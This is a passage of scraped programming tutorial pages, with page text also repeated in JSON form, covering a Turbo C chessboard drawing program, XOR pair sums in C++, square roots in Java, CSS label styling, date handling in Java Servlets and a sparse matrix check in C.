"text": "floodfill(): A function from graphics.h header file which is used to fill an enclosed area."
},
{
"code": null,
"e": 26800,
"s": 26728,
"text": "Below is the implementation of to draw Chess Board using graphics in C:"
},
{
"code": "// C program to create a chess board#include <conio.h>#include <dos.h>#include <graphics.h>#include <stdio.h> // Driver Codevoid main(){ // Auto detection int gr = DETECT, gm; int r, c, x = 30, y = 30, black = 0; // Initialize graphics mode by passing // three arguments to initgraph function // &gdriver is the address of gdriver // variable, &gmode is the address of // gmode and \"C:\\\\Turboc3\\\\BGI\" is the // directory path where BGI files are stored initgraph(&gr, &gm, \"C:\\\\TURBOC3\\\\BGI\"); // Iterate over 8 rows for (r = 0; r < 8; r++) { // iterate over 8 cols for (c = 1; c <= 8; c++) { // If current block is to // color as black if (black == 0) { // set next color as white setcolor(WHITE); // sets the current fill // pattern and fill color // for black boxes setfillstyle(SOLID_FILL, BLACK); // creating rectangle // with length and breadth // with size 30 rectangle(x, y, x + 30, y + 30); // Fill an enclosed area floodfill(x + 1, y + 1, WHITE); // Set black to true black = 1; } // If current block is to // color as white else { setcolor(WHITE); // sets the current fill // pattern and fill color // for whitw boxes setfillstyle(SOLID_FILL, WHITE); // creating rectangle // with length and breadth // with size 30 rectangle(x, y, x + 30, y + 30); // Fill an enclosed area floodfill(x + 1, y + 1, WHITE); // Set black to false black = 0; } // Increment for next row x = x + 30; // delay function under library // \"dos.h\" for holding the // function for some time delay(30); } if (black == 0) black = 1; else black = 0; delay(30); x = 30; y = 30 + y; } // getch is used to hold the output screen // and wait until user gives any type of // input in turbo c getch(); // close graph function is used to exit // from the graphics screen closegraph();}",
"e": 29299,
"s": 26800,
"text": null
},
{
"code": null,
"e": 29348,
"s": 29299,
"text": "Output:Below is the output of the above program:"
},
{
"code": null,
"e": 29359,
"s": 29348,
"text": "c-graphics"
},
{
"code": null,
"e": 29379,
"s": 29359,
"text": "chessboard-problems"
},
{
"code": null,
"e": 29405,
"s": 29379,
"text": "Advanced Computer Subject"
},
{
"code": null,
"e": 29416,
"s": 29405,
"text": "C Language"
},
{
"code": null,
"e": 29424,
"s": 29416,
"text": "Project"
},
{
"code": null,
"e": 29522,
"s": 29424,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 29566,
"s": 29522,
"text": "Copying Files to and from Docker Containers"
},
{
"code": null,
"e": 29607,
"s": 29566,
"text": "Principal Component Analysis with Python"
},
{
"code": null,
"e": 29634,
"s": 29607,
"text": "Fuzzy Logic | Introduction"
},
{
"code": null,
"e": 29697,
"s": 29634,
"text": "Classifying data using Support Vector Machines(SVMs) in Python"
},
{
"code": null,
"e": 29745,
"s": 29697,
"text": "How to create a REST API using Java Spring Boot"
},
{
"code": null,
"e": 29823,
"s": 29745,
"text": "Dynamic Memory Allocation in C using malloc(), calloc(), free() and realloc()"
},
{
"code": null,
"e": 29839,
"s": 29823,
"text": "Arrays in C/C++"
},
{
"code": null,
"e": 29862,
"s": 29839,
"text": "std::sort() in C++ STL"
},
{
"code": null,
"e": 29889,
"s": 29862,
"text": "Bitwise Operators in C/C++"
}
] |
Sum of XOR of all pairs in an array in C++
|
In this problem, we are given an array arr[] of n integers. Our task is to create a program to find the sum of XOR of all pairs in an array.
Input: arr[] = {5, 1, 4}
Output: 10
Explanation: the sum of all pairs:
5 ^ 1 = 4
1 ^ 4 = 5
5 ^ 4 = 1
sum = 4 + 5 + 1 = 10
One simple approach to solve this problem is to run nested loops and find all pairs of numbers. Find XOR of each pair and add them to the sum.
Initialise sum = 0
Step 1: for(i -> 0 to n). Do:
Step 1.1: for( j -> i to n ). Do:
Step 1.1.1: update sum. i.e. sum += arr[i] ^ arr[j].
Step 2: return sum.
Program to illustrate the working of our solution,
Live Demo
#include <iostream>
using namespace std;
int findXORSum(int arr[], int n) {
int sum = 0;
for (int i = 0; i < n; i++)
for (int j = i + 1; j < n; j++)
sum += (arr[i]^arr[j]);
return sum;
}
int main() {
int arr[] = { 5, 1, 4 };
int n = sizeof(arr) / sizeof(arr[0]);
cout<<"Sum of XOR of all pairs in an array is "<<findXORSum(arr, n);
return 0;
}
Sum of XOR of all pairs in an array is 10
The time complexity of the algorithm is O(n2) and is not the most efficient solution to the problem.
An efficient solution to the problem is using the bit manipulation technique.
Here, we will consider bits of the number and at each position. And apply the below formula find the intermediate sum,
(number of set bits) * (number of unset bits) * (2^(bit_position))
To find the final sum, we will add the intermediate sum of all bits.
Our solution is for the 64-bit integer value. For this approach, we need the number of bits.
Initialize sum = 0, setBits = 0, unsetBits = 0.
Step 1: Loop for i -> 0 to 64. repeat steps 2, 3.
Step 2: Reset setBits and unsetBits to 0.
Step 3: For each element of the array find the value of setBits and unsetBits. At ith position.
Step 4: update sum += (setBits * unsetBits * (2i))
Program to illustrate the working of our solution,
Live Demo
#include <iostream>
#include <math.h>
using namespace std;
long findXORSum(int arr[], int n) {
long sum = 0;
int unsetBits = 0, setBits = 0;
for (int i = 0; i < 32; i++) {
unsetBits = 0; setBits = 0;
for (int j = 0; j < n; j++) {
if (arr[j] % 2 == 0)
unsetBits++;
else
setBits++;
arr[j] /= 2;
}
sum += ( unsetBits*setBits* (pow(2,i)) );
}
return sum;
}
int main() {
int arr[] = { 5, 1, 4, 7, 9};
int n = sizeof(arr) / sizeof(arr[0]);
cout<<"Sum of XOR of all pairs in an array is "<<findXORSum(arr, n);
return 0;
}
Sum of XOR of all pairs in an array is 68
|
[
{
"code": null,
"e": 1203,
"s": 1062,
"text": "In this problem, we are given an array arr[] of n integers. Our task is to create a program to find the sum of XOR of all pairs in an array."
},
{
"code": null,
"e": 1325,
"s": 1203,
"text": "Input: arr[] = {5, 1, 4}\nOutput: 10\nExplanation: the sum of all pairs:\n5 ^ 1 = 4\n1 ^ 4 = 5\n5 ^ 4 = 1\nsum = 4 + 5 + 1 = 10"
},
{
"code": null,
"e": 1468,
"s": 1325,
"text": "One simple approach to solve this problem is to run nested loops and find all pairs of numbers. Find XOR of each pair and add them to the sum."
},
{
"code": null,
"e": 1633,
"s": 1468,
"text": "Initialise sum = 0\nStep 1: for(i -> 0 to n). Do:\n Step 1.1: for( j -> i to n ). Do:\n Step 1.1.1: update sum. i.e. sum += arr[i] ^ arr[j].\nStep 2: return sum."
},
{
"code": null,
"e": 1684,
"s": 1633,
"text": "Program to illustrate the working of our solution,"
},
{
"code": null,
"e": 1695,
"s": 1684,
"text": " Live Demo"
},
{
"code": null,
"e": 2068,
"s": 1695,
"text": "#include <iostream>\nusing namespace std;\nint findXORSum(int arr[], int n) {\n int sum = 0;\n for (int i = 0; i < n; i++)\n for (int j = i + 1; j < n; j++)\n sum += (arr[i]^arr[j]);\n return sum;\n}\nint main() {\n int arr[] = { 5, 1, 4 };\n int n = sizeof(arr) / sizeof(arr[0]);\n cout<<\"Sum of XOR of all pairs in an array is \"<<findXORSum(arr, n);\n return 0;\n}"
},
{
"code": null,
"e": 2110,
"s": 2068,
"text": "Sum of XOR of all pairs in an array is 10"
},
{
"code": null,
"e": 2211,
"s": 2110,
"text": "The time complexity of the algorithm is O(n2) and is not the most efficient solution to the problem."
},
{
"code": null,
"e": 2289,
"s": 2211,
"text": "An efficient solution to the problem is using the bit manipulation technique."
},
{
"code": null,
"e": 2408,
"s": 2289,
"text": "Here, we will consider bits of the number and at each position. And apply the below formula find the intermediate sum,"
},
{
"code": null,
"e": 2475,
"s": 2408,
"text": "(number of set bits) * (number of unset bits) * (2^(bit_position))"
},
{
"code": null,
"e": 2544,
"s": 2475,
"text": "To find the final sum, we will add the intermediate sum of all bits."
},
{
"code": null,
"e": 2637,
"s": 2544,
"text": "Our solution is for the 64-bit integer value. For this approach, we need the number of bits."
},
{
"code": null,
"e": 2924,
"s": 2637,
"text": "Initialize sum = 0, setBits = 0, unsetBits = 0.\nStep 1: Loop for i -> 0 to 64. repeat steps 2, 3.\nStep 2: Reset setBits and unsetBits to 0.\nStep 3: For each element of the array find the value of setBits and unsetBits. At ith position.\nStep 4: update sum += (setBits * unsetBits * (2i))"
},
{
"code": null,
"e": 2975,
"s": 2924,
"text": "Program to illustrate the working of our solution,"
},
{
"code": null,
"e": 2986,
"s": 2975,
"text": " Live Demo"
},
{
"code": null,
"e": 3603,
"s": 2986,
"text": "#include <iostream>\n#include <math.h>\nusing namespace std;\nlong findXORSum(int arr[], int n) {\n long sum = 0;\n int unsetBits = 0, setBits = 0;\n for (int i = 0; i < 32; i++) {\n unsetBits = 0; setBits = 0;\n for (int j = 0; j < n; j++) {\n if (arr[j] % 2 == 0)\n unsetBits++;\n else\n setBits++;\n arr[j] /= 2;\n }\n sum += ( unsetBits*setBits* (pow(2,i)) );\n }\n return sum;\n}\nint main() {\n int arr[] = { 5, 1, 4, 7, 9};\n int n = sizeof(arr) / sizeof(arr[0]);\n cout<<\"Sum of XOR of all pairs in an array is \"<<findXORSum(arr, n);\n return 0;\n}"
},
{
"code": null,
"e": 3645,
"s": 3603,
"text": "Sum of XOR of all pairs in an array is 68"
}
] |
Java program to find the square root of a given number
|
The process of finding the square root of a number can be divided into two steps. One step is to find integer part and the second one is for fraction part.
Define value n to find the square root of.
Define variable i and set it to 1. (For integer part)
Define variable p and set it to 0.00001. (For fraction part)
While i*i is less than n, increment i.
Step 4 should produce the integer part so far.
While i*i is less than n, add p to i.
Now i have the square root value of n.
Live Demo
public class SquareRoot {
public static void main(String args[]){
int n = 24;
double i, precision = 0.00001;
for(i = 1; i*i <=n; ++i);
for(--i; i*i < n; i += precision);
System.out.println("Square root of given number "+i);
}
}
Square root of given number 4.898979999965967
|
[
{
"code": null,
"e": 1218,
"s": 1062,
"text": "The process of finding the square root of a number can be divided into two steps. One step is to find integer part and the second one is for fraction part."
},
{
"code": null,
"e": 1261,
"s": 1218,
"text": "Define value n to find the square root of."
},
{
"code": null,
"e": 1315,
"s": 1261,
"text": "Define variable i and set it to 1. (For integer part)"
},
{
"code": null,
"e": 1376,
"s": 1315,
"text": "Define variable p and set it to 0.00001. (For fraction part)"
},
{
"code": null,
"e": 1415,
"s": 1376,
"text": "While i*i is less than n, increment i."
},
{
"code": null,
"e": 1462,
"s": 1415,
"text": "Step 4 should produce the integer part so far."
},
{
"code": null,
"e": 1500,
"s": 1462,
"text": "While i*i is less than n, add p to i."
},
{
"code": null,
"e": 1539,
"s": 1500,
"text": "Now i have the square root value of n."
},
{
"code": null,
"e": 1549,
"s": 1539,
"text": "Live Demo"
},
{
"code": null,
"e": 1813,
"s": 1549,
"text": "public class SquareRoot {\n public static void main(String args[]){\n int n = 24;\n double i, precision = 0.00001;\n for(i = 1; i*i <=n; ++i);\n for(--i; i*i < n; i += precision);\n System.out.println(\"Square root of given number \"+i);\n }\n}"
},
{
"code": null,
"e": 1859,
"s": 1813,
"text": "Square root of given number 4.898979999965967"
}
] |
How to style labels with CSS?
|
To style labels with CSS, the code is as follows −
Live Demo
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1" />
<style>
body {
font-family: "Segoe UI", Tahoma, Geneva, Verdana, sans-serif;
margin: 20px;
}
span {
font-size: 18px;
font-weight: 600;
color: white;
padding: 8px;
}
.success {
background-color: #4caf50;
}
.info {
background-color: #2196f3;
}
.warning {
background-color: #ff9800;
}
.danger {
background-color: #f44336;
}
.other {
background-color: #e7e7e7;
color: black;
}
</style>
</head>
<body>
<h1>Labels Example</h1>
<span class="success">Success</span>
<span class="info">Info</span>
<span class="warning">Warning</span>
<span class="danger">Danger</span>
<span class="other">Other</span>
</body>
</html>
The above code will produce the following output −
|
[
{
"code": null,
"e": 1113,
"s": 1062,
"text": "To style labels with CSS, the code is as follows −"
},
{
"code": null,
"e": 1124,
"s": 1113,
"text": " Live Demo"
},
{
"code": null,
"e": 1949,
"s": 1124,
"text": "<!DOCTYPE html>\n<html>\n<head>\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1\" />\n<style>\n body {\n font-family: \"Segoe UI\", Tahoma, Geneva, Verdana, sans-serif;\n margin: 20px;\n }\n span {\n font-size: 18px;\n font-weight: 600;\n color: white;\n padding: 8px;\n }\n .success {\n background-color: #4caf50;\n }\n .info {\n background-color: #2196f3;\n }\n .warning {\n background-color: #ff9800;\n }\n .danger {\n background-color: #f44336;\n }\n .other {\n background-color: #e7e7e7;\n color: black;\n }\n</style>\n</head>\n<body>\n<h1>Labels Example</h1>\n<span class=\"success\">Success</span>\n<span class=\"info\">Info</span>\n<span class=\"warning\">Warning</span>\n<span class=\"danger\">Danger</span>\n<span class=\"other\">Other</span>\n</body>\n</html>"
},
{
"code": null,
"e": 2000,
"s": 1949,
"text": "The above code will produce the following output −"
}
] |
Servlets - Handling Date
|
One of the most important advantages of using Servlet is that you can use most of the methods available in core Java. This tutorial would take you through Java provided Date class which is available in java.util package, this class encapsulates the current date and time.
The Date class supports two constructors. The first constructor initializes the object with the current date and time.
Date( )
The following constructor accepts one argument that equals the number of milliseconds that have elapsed since midnight, January 1, 1970
Date(long millisec)
Once you have a Date object available, you can call any of the following support methods to play with dates −
boolean after(Date date)
Returns true if the invoking Date object contains a date that is later than the one specified by date, otherwise, it returns false.
boolean before(Date date)
Returns true if the invoking Date object contains a date that is earlier than the one specified by date, otherwise, it returns false.
Object clone( )
Duplicates the invoking Date object.
int compareTo(Date date)
Compares the value of the invoking object with that of date. Returns 0 if the values are equal. Returns a negative value if the invoking object is earlier than date. Returns a positive value if the invoking object is later than date.
int compareTo(Object obj)
Operates identically to compareTo(Date) if obj is of class Date. Otherwise, it throws a ClassCastException.
boolean equals(Object date)
Returns true if the invoking Date object contains the same time and date as the one specified by date, otherwise, it returns false.
long getTime( )
Returns the number of milliseconds that have elapsed since January 1, 1970.
int hashCode( )
Returns a hash code for the invoking object.
void setTime(long time)
Sets the time and date as specified by time, which represents an elapsed time in milliseconds from midnight, January 1, 1970.
String toString( )
Converts the invoking Date object into a string and returns the result.
This is very easy to get current date and time in Java Servlet. You can use a simple Date object with toString() method to print current date and time as follows −
// Import required java libraries
import java.io.*;
import java.util.Date;
import javax.servlet.*;
import javax.servlet.http.*;
// Extend HttpServlet class
public class CurrentDate extends HttpServlet {
public void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
// Set response content type
response.setContentType("text/html");
PrintWriter out = response.getWriter();
String title = "Display Current Date & Time";
Date date = new Date();
String docType = "<!doctype html public \"-//w3c//dtd html 4.0 " + "transitional//en\">\n";
out.println(docType +
"<html>\n" +
"<head><title>" + title + "</title></head>\n" +
"<body bgcolor = \"#f0f0f0\">\n" +
"<h1 align = \"center\">" + title + "</h1>\n" +
"<h2 align = \"center\">" + date.toString() + "</h2>\n" +
"</body>
</html>"
);
}
}
Now let us compile above servlet and create appropriate entries in web.xml and then call this servlet using URL http://localhost:8080/CurrentDate. This would produce following result −
Display Current Date & Time
Mon Jun 21 21:46:49 GMT+04:00 2010
Try to refresh URL http://localhost:8080/CurrentDate and you would find difference in seconds every time you would refresh.
As I mentioned above you can use all the available Java methods in your Servlet. In case you need to compare two dates, following are the methods −
You can use getTime( ) to obtain the number of milliseconds that have elapsed since midnight, January 1, 1970, for both objects and then compare these two values.
You can use getTime( ) to obtain the number of milliseconds that have elapsed since midnight, January 1, 1970, for both objects and then compare these two values.
You can use the methods before( ), after( ), and equals( ). Because the 12th of the month comes before the 18th, for example, new Date(99, 2, 12).before(new Date (99, 2, 18)) returns true.
You can use the methods before( ), after( ), and equals( ). Because the 12th of the month comes before the 18th, for example, new Date(99, 2, 12).before(new Date (99, 2, 18)) returns true.
You can use the compareTo( ) method, which is defined by the Comparable interface and implemented by Date.
You can use the compareTo( ) method, which is defined by the Comparable interface and implemented by Date.
SimpleDateFormat is a concrete class for formatting and parsing dates in a localesensitive manner. SimpleDateFormat allows you to start by choosing any user-defined patterns for date-time formatting.
Let us modify above example as follows −
// Import required java libraries
import java.io.*;
import java.text.*;
import java.util.Date;
import javax.servlet.*;
import javax.servlet.http.*;
// Extend HttpServlet class
public class CurrentDate extends HttpServlet {
public void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
// Set response content type
response.setContentType("text/html");
PrintWriter out = response.getWriter();
String title = "Display Current Date & Time";
Date dNow = new Date( );
SimpleDateFormat ft = new SimpleDateFormat ("E yyyy.MM.dd 'at' hh:mm:ss a zzz");
String docType = "<!doctype html public \"-//w3c//dtd html 4.0 " + "transitional//en\">\n";
out.println(docType +
"<html>\n" +
"<head><title>" + title + "</title></head>\n" +
"<body bgcolor = \"#f0f0f0\">\n" +
"<h1 align = \"center\">" + title + "</h1>\n" +
"<h2 align = \"center\">" + ft.format(dNow) + "</h2>\n" +
"</body>
</html>"
);
}
}
Compile above servlet once again and then call this servlet using URL http://localhost:8080/CurrentDate. This would produce following result −
Display Current Date & Time
Mon 2010.06.21 at 10:06:44 PM GMT+04:00
To specify the time format use a time pattern string. In this pattern, all ASCII letters are reserved as pattern letters, which are defined as the following −
For a complete list of constant available methods to manipulate date, you can refer to standard Java documentation.
41 Lectures
4.5 hours
Karthikeya T
42 Lectures
5.5 hours
TELCOMA Global
15 Lectures
3 hours
TELCOMA Global
31 Lectures
12.5 hours
Uplatz
38 Lectures
4.5 hours
Packt Publishing
Print
Add Notes
Bookmark this page
|
[
{
"code": null,
"e": 2457,
"s": 2185,
"text": "One of the most important advantages of using Servlet is that you can use most of the methods available in core Java. This tutorial would take you through Java provided Date class which is available in java.util package, this class encapsulates the current date and time."
},
{
"code": null,
"e": 2576,
"s": 2457,
"text": "The Date class supports two constructors. The first constructor initializes the object with the current date and time."
},
{
"code": null,
"e": 2585,
"s": 2576,
"text": "Date( )\n"
},
{
"code": null,
"e": 2721,
"s": 2585,
"text": "The following constructor accepts one argument that equals the number of milliseconds that have elapsed since midnight, January 1, 1970"
},
{
"code": null,
"e": 2742,
"s": 2721,
"text": "Date(long millisec)\n"
},
{
"code": null,
"e": 2852,
"s": 2742,
"text": "Once you have a Date object available, you can call any of the following support methods to play with dates −"
},
{
"code": null,
"e": 2877,
"s": 2852,
"text": "boolean after(Date date)"
},
{
"code": null,
"e": 3009,
"s": 2877,
"text": "Returns true if the invoking Date object contains a date that is later than the one specified by date, otherwise, it returns false."
},
{
"code": null,
"e": 3035,
"s": 3009,
"text": "boolean before(Date date)"
},
{
"code": null,
"e": 3169,
"s": 3035,
"text": "Returns true if the invoking Date object contains a date that is earlier than the one specified by date, otherwise, it returns false."
},
{
"code": null,
"e": 3185,
"s": 3169,
"text": "Object clone( )"
},
{
"code": null,
"e": 3222,
"s": 3185,
"text": "Duplicates the invoking Date object."
},
{
"code": null,
"e": 3247,
"s": 3222,
"text": "int compareTo(Date date)"
},
{
"code": null,
"e": 3481,
"s": 3247,
"text": "Compares the value of the invoking object with that of date. Returns 0 if the values are equal. Returns a negative value if the invoking object is earlier than date. Returns a positive value if the invoking object is later than date."
},
{
"code": null,
"e": 3507,
"s": 3481,
"text": "int compareTo(Object obj)"
},
{
"code": null,
"e": 3615,
"s": 3507,
"text": "Operates identically to compareTo(Date) if obj is of class Date. Otherwise, it throws a ClassCastException."
},
{
"code": null,
"e": 3643,
"s": 3615,
"text": "boolean equals(Object date)"
},
{
"code": null,
"e": 3775,
"s": 3643,
"text": "Returns true if the invoking Date object contains the same time and date as the one specified by date, otherwise, it returns false."
},
{
"code": null,
"e": 3791,
"s": 3775,
"text": "long getTime( )"
},
{
"code": null,
"e": 3867,
"s": 3791,
"text": "Returns the number of milliseconds that have elapsed since January 1, 1970."
},
{
"code": null,
"e": 3883,
"s": 3867,
"text": "int hashCode( )"
},
{
"code": null,
"e": 3928,
"s": 3883,
"text": "Returns a hash code for the invoking object."
},
{
"code": null,
"e": 3952,
"s": 3928,
"text": "void setTime(long time)"
},
{
"code": null,
"e": 4078,
"s": 3952,
"text": "Sets the time and date as specified by time, which represents an elapsed time in milliseconds from midnight, January 1, 1970."
},
{
"code": null,
"e": 4097,
"s": 4078,
"text": "String toString( )"
},
{
"code": null,
"e": 4169,
"s": 4097,
"text": "Converts the invoking Date object into a string and returns the result."
},
{
"code": null,
"e": 4333,
"s": 4169,
"text": "This is very easy to get current date and time in Java Servlet. You can use a simple Date object with toString() method to print current date and time as follows −"
},
{
"code": null,
"e": 5333,
"s": 4333,
"text": "// Import required java libraries\nimport java.io.*;\nimport java.util.Date;\nimport javax.servlet.*;\nimport javax.servlet.http.*;\n \n// Extend HttpServlet class\npublic class CurrentDate extends HttpServlet {\n \n public void doGet(HttpServletRequest request, HttpServletResponse response)\n throws ServletException, IOException {\n \n // Set response content type\n response.setContentType(\"text/html\");\n \n PrintWriter out = response.getWriter();\n String title = \"Display Current Date & Time\";\n Date date = new Date();\n String docType = \"<!doctype html public \\\"-//w3c//dtd html 4.0 \" + \"transitional//en\\\">\\n\";\n \n out.println(docType +\n \"<html>\\n\" +\n \"<head><title>\" + title + \"</title></head>\\n\" +\n \"<body bgcolor = \\\"#f0f0f0\\\">\\n\" +\n \"<h1 align = \\\"center\\\">\" + title + \"</h1>\\n\" +\n \"<h2 align = \\\"center\\\">\" + date.toString() + \"</h2>\\n\" +\n \"</body>\n </html>\"\n );\n }\n}"
},
{
"code": null,
"e": 5518,
"s": 5333,
"text": "Now let us compile above servlet and create appropriate entries in web.xml and then call this servlet using URL http://localhost:8080/CurrentDate. This would produce following result −"
},
{
"code": null,
"e": 5582,
"s": 5518,
"text": "Display Current Date & Time\nMon Jun 21 21:46:49 GMT+04:00 2010\n"
},
{
"code": null,
"e": 5706,
"s": 5582,
"text": "Try to refresh URL http://localhost:8080/CurrentDate and you would find difference in seconds every time you would refresh."
},
{
"code": null,
"e": 5854,
"s": 5706,
"text": "As I mentioned above you can use all the available Java methods in your Servlet. In case you need to compare two dates, following are the methods −"
},
{
"code": null,
"e": 6017,
"s": 5854,
"text": "You can use getTime( ) to obtain the number of milliseconds that have elapsed since midnight, January 1, 1970, for both objects and then compare these two values."
},
{
"code": null,
"e": 6180,
"s": 6017,
"text": "You can use getTime( ) to obtain the number of milliseconds that have elapsed since midnight, January 1, 1970, for both objects and then compare these two values."
},
{
"code": null,
"e": 6369,
"s": 6180,
"text": "You can use the methods before( ), after( ), and equals( ). Because the 12th of the month comes before the 18th, for example, new Date(99, 2, 12).before(new Date (99, 2, 18)) returns true."
},
{
"code": null,
"e": 6558,
"s": 6369,
"text": "You can use the methods before( ), after( ), and equals( ). Because the 12th of the month comes before the 18th, for example, new Date(99, 2, 12).before(new Date (99, 2, 18)) returns true."
},
{
"code": null,
"e": 6665,
"s": 6558,
"text": "You can use the compareTo( ) method, which is defined by the Comparable interface and implemented by Date."
},
{
"code": null,
"e": 6772,
"s": 6665,
"text": "You can use the compareTo( ) method, which is defined by the Comparable interface and implemented by Date."
},
{
"code": null,
"e": 6973,
"s": 6772,
"text": "SimpleDateFormat is a concrete class for formatting and parsing dates in a localesensitive manner. SimpleDateFormat allows you to start by choosing any user-defined patterns for date-time formatting. "
},
{
"code": null,
"e": 7014,
"s": 6973,
"text": "Let us modify above example as follows −"
},
{
"code": null,
"e": 8122,
"s": 7014,
"text": "// Import required java libraries\nimport java.io.*;\nimport java.text.*;\nimport java.util.Date;\nimport javax.servlet.*;\nimport javax.servlet.http.*;\n \n// Extend HttpServlet class\npublic class CurrentDate extends HttpServlet {\n \n public void doGet(HttpServletRequest request, HttpServletResponse response)\n throws ServletException, IOException {\n \n // Set response content type\n response.setContentType(\"text/html\");\n \n PrintWriter out = response.getWriter();\n String title = \"Display Current Date & Time\";\n Date dNow = new Date( );\n SimpleDateFormat ft = new SimpleDateFormat (\"E yyyy.MM.dd 'at' hh:mm:ss a zzz\");\n String docType = \"<!doctype html public \\\"-//w3c//dtd html 4.0 \" + \"transitional//en\\\">\\n\";\n \n out.println(docType +\n \"<html>\\n\" +\n \"<head><title>\" + title + \"</title></head>\\n\" +\n \"<body bgcolor = \\\"#f0f0f0\\\">\\n\" +\n \"<h1 align = \\\"center\\\">\" + title + \"</h1>\\n\" +\n \"<h2 align = \\\"center\\\">\" + ft.format(dNow) + \"</h2>\\n\" +\n \"</body>\n </html>\"\n );\n }\n}"
},
{
"code": null,
"e": 8265,
"s": 8122,
"text": "Compile above servlet once again and then call this servlet using URL http://localhost:8080/CurrentDate. This would produce following result −"
},
{
"code": null,
"e": 8334,
"s": 8265,
"text": "Display Current Date & Time\nMon 2010.06.21 at 10:06:44 PM GMT+04:00\n"
},
{
"code": null,
"e": 8493,
"s": 8334,
"text": "To specify the time format use a time pattern string. In this pattern, all ASCII letters are reserved as pattern letters, which are defined as the following −"
},
{
"code": null,
"e": 8609,
"s": 8493,
"text": "For a complete list of constant available methods to manipulate date, you can refer to standard Java documentation."
},
{
"code": null,
"e": 8644,
"s": 8609,
"text": "\n 41 Lectures \n 4.5 hours \n"
},
{
"code": null,
"e": 8658,
"s": 8644,
"text": " Karthikeya T"
},
{
"code": null,
"e": 8693,
"s": 8658,
"text": "\n 42 Lectures \n 5.5 hours \n"
},
{
"code": null,
"e": 8709,
"s": 8693,
"text": " TELCOMA Global"
},
{
"code": null,
"e": 8742,
"s": 8709,
"text": "\n 15 Lectures \n 3 hours \n"
},
{
"code": null,
"e": 8758,
"s": 8742,
"text": " TELCOMA Global"
},
{
"code": null,
"e": 8794,
"s": 8758,
"text": "\n 31 Lectures \n 12.5 hours \n"
},
{
"code": null,
"e": 8802,
"s": 8794,
"text": " Uplatz"
},
{
"code": null,
"e": 8837,
"s": 8802,
"text": "\n 38 Lectures \n 4.5 hours \n"
},
{
"code": null,
"e": 8855,
"s": 8837,
"text": " Packt Publishing"
},
{
"code": null,
"e": 8862,
"s": 8855,
"text": " Print"
},
{
"code": null,
"e": 8873,
"s": 8862,
"text": " Add Notes"
}
] |
C Program for sparse matrix
|
In a given matrix, when most of the elements are zero then, we call it as sparse matrix. Example − 3 x3 matrix
1 1 0
0 0 2
0 0 0
In this matrix, most of the elements are zero, so it is sparse matrix.
Check whether a matrix is a sparse matrix or not.
Let us assume ZERO in the matrix is greater than (row * column)/2.
Let us assume ZERO in the matrix is greater than (row * column)/2.
Then, the matrix is a sparse matrix otherwise not.
Then, the matrix is a sparse matrix otherwise not.
Following is the program to check whether the given matrix is sparse matrix or not −
Live Demo
#include<stdio.h>
#include<stdlib.h>
int main(){
int row,col,i,j,a[10][10],count = 0;
printf("Enter row\n");
scanf("%d",&row);
printf("Enter Column\n");
scanf("%d",&col);
printf("Enter Element of Matrix1\n");
for(i = 0; i < row; i++){
for(j = 0; j < col; j++){
scanf("%d",&a[i][j]);
}
}
printf("Elements are:\n");
for(i = 0; i < row; i++){
for(j = 0; j < col; j++){
printf("%d\t",a[i][j]);
}
printf("\n");
}
/*checking sparse of matrix*/
for(i = 0; i < row; i++){
for(j = 0; j < col; j++){
if(a[i][j] == 0)
count++;
}
}
if(count > ((row * col)/2))
printf("Matrix is a sparse matrix \n");
else
printf("Matrix is not sparse matrix\n");
}
When the above program is executed, it produces the following result −
Run 1:
Enter row
3
Enter Column
2
Enter Element of Matrix1
1 0 2 0 2 0
Elements are:
1 0
2 0
2 0
Matrix is not sparse matrix
Run 2:
Enter row
3
Enter Column
2
Enter Element of Matrix1
1 0 0 0 0 0
Elements are:
1 0
0 0
0 0
Matrix is a sparse matrix
|
[
{
"code": null,
"e": 1173,
"s": 1062,
"text": "In a given matrix, when most of the elements are zero then, we call it as sparse matrix. Example − 3 x3 matrix"
},
{
"code": null,
"e": 1191,
"s": 1173,
"text": "1 1 0\n0 0 2\n0 0 0"
},
{
"code": null,
"e": 1262,
"s": 1191,
"text": "In this matrix, most of the elements are zero, so it is sparse matrix."
},
{
"code": null,
"e": 1312,
"s": 1262,
"text": "Check whether a matrix is a sparse matrix or not."
},
{
"code": null,
"e": 1379,
"s": 1312,
"text": "Let us assume ZERO in the matrix is greater than (row * column)/2."
},
{
"code": null,
"e": 1446,
"s": 1379,
"text": "Let us assume ZERO in the matrix is greater than (row * column)/2."
},
{
"code": null,
"e": 1497,
"s": 1446,
"text": "Then, the matrix is a sparse matrix otherwise not."
},
{
"code": null,
"e": 1548,
"s": 1497,
"text": "Then, the matrix is a sparse matrix otherwise not."
},
{
"code": null,
"e": 1633,
"s": 1548,
"text": "Following is the program to check whether the given matrix is sparse matrix or not −"
},
{
"code": null,
"e": 1644,
"s": 1633,
"text": " Live Demo"
},
{
"code": null,
"e": 2421,
"s": 1644,
"text": "#include<stdio.h>\n#include<stdlib.h>\nint main(){\n int row,col,i,j,a[10][10],count = 0;\n printf(\"Enter row\\n\");\n scanf(\"%d\",&row);\n printf(\"Enter Column\\n\");\n scanf(\"%d\",&col);\n printf(\"Enter Element of Matrix1\\n\");\n for(i = 0; i < row; i++){\n for(j = 0; j < col; j++){\n scanf(\"%d\",&a[i][j]);\n }\n }\n printf(\"Elements are:\\n\");\n for(i = 0; i < row; i++){\n for(j = 0; j < col; j++){\n printf(\"%d\\t\",a[i][j]);\n }\n printf(\"\\n\");\n }\n /*checking sparse of matrix*/\n for(i = 0; i < row; i++){\n for(j = 0; j < col; j++){\n if(a[i][j] == 0)\n count++;\n }\n }\n if(count > ((row * col)/2))\n printf(\"Matrix is a sparse matrix \\n\");\n else\n printf(\"Matrix is not sparse matrix\\n\");\n}"
},
{
"code": null,
"e": 2492,
"s": 2421,
"text": "When the above program is executed, it produces the following result −"
},
{
"code": null,
"e": 2740,
"s": 2492,
"text": "Run 1:\nEnter row\n3\nEnter Column\n2\nEnter Element of Matrix1\n1 0 2 0 2 0\nElements are:\n1 0\n2 0\n2 0\nMatrix is not sparse matrix\nRun 2:\nEnter row\n3\nEnter Column\n2\nEnter Element of Matrix1\n1 0 0 0 0 0\nElements are:\n1 0\n0 0\n0 0\nMatrix is a sparse matrix"
}
] |
